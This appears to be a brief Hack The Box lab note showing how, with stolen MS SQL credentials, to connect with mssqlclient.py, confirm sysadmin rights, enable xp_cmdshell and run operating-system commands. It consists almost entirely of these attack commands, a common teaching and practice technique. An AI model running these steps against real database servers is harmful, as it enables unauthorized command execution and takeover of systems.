[HTB]Knock down MS SQL Server through xp_cmdshell

Assume that at the beginning an user/password pair has been obtained:
# mssqlclient.py account@10.10.10.xx -windows-auth
SQL> select IS_SRVROLEMEMBER ('sysadmin');
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1
SQL> reconfigure;
SQL> xp_cmdshell "whoami"